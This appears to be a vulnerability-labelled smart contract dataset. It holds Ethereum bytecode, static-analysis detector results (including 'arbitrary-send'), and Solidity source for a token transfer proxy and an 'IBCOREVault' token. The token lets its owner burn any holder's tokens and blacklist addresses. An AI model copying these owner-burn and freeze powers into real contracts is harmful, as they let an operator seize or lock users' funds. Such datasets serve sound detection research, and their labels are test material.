1681565b60095481565b600e5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c4f57600080fd5b80600b8190555050565b601581815481101515611c6857fe5b90600052602060002090016000915090505481565b6000806000611c8e60025433611a72565b925092509250909192565b6000806000841415611cae5760009150611ccd565b8284029050828482811515611cbf57fe5b04141515611cc957fe5b8091505b5092915050565b6000808284811515611ce257fe5b0490508091505092915050565b6000828211151515611cfd57fe5b818303905092915050565b815481835581811511611d3557600202816002028360005260206000209182019101611d349190611dba565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b815481835581811511611d8957818360005260206000209182019101611d889190611e08565b5b505050565b815481835581811511611db557818360005260206000209182019101611db49190611e08565b5b505050565b611e0591905b80821115611e01576000808201600090556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600201611dc0565b5090565b90565b611e2a91905b80821115611e26576000816000905550600101611e0e565b5090565b905600a165627a7a72305820aa508a887068735c432ada96cc429dea8a0f292f37051431a55c91823fb15a0a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,663 |
0x3e56ca51b84b5f6d4374ffe31052db2374203d5b
|
/**
*Submitted for verification at Etherscan.io on 2022-02-14
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC1155 is IERC165 {
/**
@dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
The `_operator` argument MUST be msg.sender.
The `_from` argument MUST be the address of the holder whose balance is decreased.
The `_to` argument MUST be the address of the recipient whose balance is increased.
The `_id` argument MUST be the token type being transferred.
The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by.
When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
*/
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value);
/**
@dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
The `_operator` argument MUST be msg.sender.
The `_from` argument MUST be the address of the holder whose balance is decreased.
The `_to` argument MUST be the address of the recipient whose balance is increased.
The `_ids` argument MUST be the list of tokens being transferred.
The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by.
When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
*/
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);
/**
@dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled).
*/
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/**
@dev MUST emit when the URI is updated for a token ID.
URIs are defined in RFC 3986.
The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema".
*/
event URI(string _value, uint256 indexed _id);
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _id ID of the token type
@param _value Transfer amount
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
/**
@notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if length of `_ids` is not the same as length of `_values`.
MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient.
MUST revert on any other error.
MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard).
Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc).
After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _ids IDs of each token type (order and length must match _values array)
@param _values Transfer amounts per token type (order and length must match _ids array)
@param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external;
/**
@notice Get the balance of an account's Tokens.
@param _owner The address of the token holder
@param _id ID of the Token
@return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
/**
@notice Get the balance of multiple account/token pairs
@param _owners The addresses of the token holders
@param _ids ID of the Tokens
@return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory);
/**
@notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
@dev MUST emit the ApprovalForAll event on success.
@param _operator Address to add to the set of authorized operators
@param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved) external;
/**
@notice Queries the approval status of an operator for a given owner.
@param _owner The owner of the Tokens
@param _operator Address of authorized operator
@return True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TransferProxy {
event operatorChanged(address indexed from, address indexed to);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
address public operator;
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
modifier onlyOperator() {
require(operator == msg.sender, "OperatorRole: caller does not have the Operator role");
_;
}
/** change the OperatorRole from contract creator address to trade contractaddress
@param _operator :trade address
*/
function changeOperator(address _operator) external onlyOwner returns(bool) {
require(_operator != address(0), "Operator: new operator is the zero address");
operator = _operator;
emit operatorChanged(address(0),operator);
return true;
}
/** change the Ownership from current owner to newOwner address
@param newOwner : newOwner address */
function ownerTransfership(address newOwner) external onlyOwner returns(bool){
require(newOwner != address(0), "Ownable: new owner is the zero address");
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
return true;
}
function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator {
token.safeTransferFrom(from, to, tokenId);
}
function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator {
token.safeTransferFrom(from, to, tokenId, value, data);
}
function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator {
require(token.transferFrom(from, to, value), "failure while transferring");
}
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063776062c31161005b578063776062c3146100e85780638da5cb5b146100fd5780639c1c2ee914610110578063f709b9061461012357600080fd5b806306394c9b14610082578063570ca735146100aa5780636fdc202f146100d5575b600080fd5b61009561009036600461059b565b610136565b60405190151581526020015b60405180910390f35b6001546100bd906001600160a01b031681565b6040516001600160a01b0390911681526020016100a1565b6100956100e336600461059b565b610250565b6100fb6100f6366004610697565b610360565b005b6000546100bd906001600160a01b031681565b6100fb61011e3660046105de565b610466565b6100fb610131366004610697565b610501565b600080546001600160a01b031633146101965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0382166101ff5760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b606482015260840161018d565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a3506001919050565b600080546001600160a01b031633146102ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018d565b6001600160a01b0382166103105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018d565b600080546001600160a01b0319166001600160a01b0384169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a3506001919050565b6001546001600160a01b0316331461038a5760405162461bcd60e51b815260040161018d90610740565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd90606401602060405180830381600087803b1580156103dc57600080fd5b505af11580156103f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061041491906105be565b6104605760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e67000000000000604482015260640161018d565b50505050565b6001546001600160a01b031633146104905760405162461bcd60e51b815260040161018d90610740565b604051637921219560e11b81526001600160a01b0388169063f242432a906104c6908990899089908990899089906004016106e7565b600060405180830381600087803b1580156104e057600080fd5b505af11580156104f4573d6000803e3d6000fd5b5050505050505050505050565b6001546001600160a01b0316331461052b5760405162461bcd60e51b815260040161018d90610740565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b15801561057d57600080fd5b505af1158015610591573d6000803e3d6000fd5b5050505050505050565b6000602082840312156105ac578081fd5b81356105b781610794565b9392505050565b6000602082840312156105cf578081fd5b815180151581146105b7578182fd5b600080600080600080600060c0888a0312156105f8578283fd5b873561060381610794565b9650602088013561061381610794565b9550604088013561062381610794565b9450606088013593506080880135925060a088013567ffffffffffffffff8082111561064d578384fd5b818a0191508a601f830112610660578384fd5b81358181111561066e578485fd5b8b602082850101111561067f578485fd5b60208301945080935050505092959891949750929550565b600080600080608085870312156106ac578384fd5b84356106b781610794565b935060208501356106c781610794565b925060408501356106d781610794565b9396929550929360600135925050565b6001600160a01b03878116825286166020820152604081018590526060810184905260a06080820181905281018290526000828460c084013781830160c090810191909152601f909201601f1916010195945050505050565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b6001600160a01b03811681146107a957600080fd5b5056fea264697066735822122002bf47871c53be6e13ad1d0291a20feb33456e0bd8aa4d550b7f340f23b2a37064736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 8,664 |
0xda60182b0d132019bf89ed6ef494130f6cfd95f1
|
/**
*Submitted for verification at Etherscan.io on 2020-10-12
*/
// SPDX-License-Identifier: none
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract IBCOREVault is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory BcoreVault, string memory BCORE, uint256 amount) {
_name = BcoreVault;
_symbol = BCORE;
_setupDecimals(18);
_totalSupply = 10000 * 10 ** 18;
_balances[msg.sender] = 10000 * 10 ** 18;
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address blacklisted");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bbd602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061150e565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b61065a83836115a5565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6106dd826116a1565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cd86021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b3f6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b61076284848461178d565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6106dd826118d4565b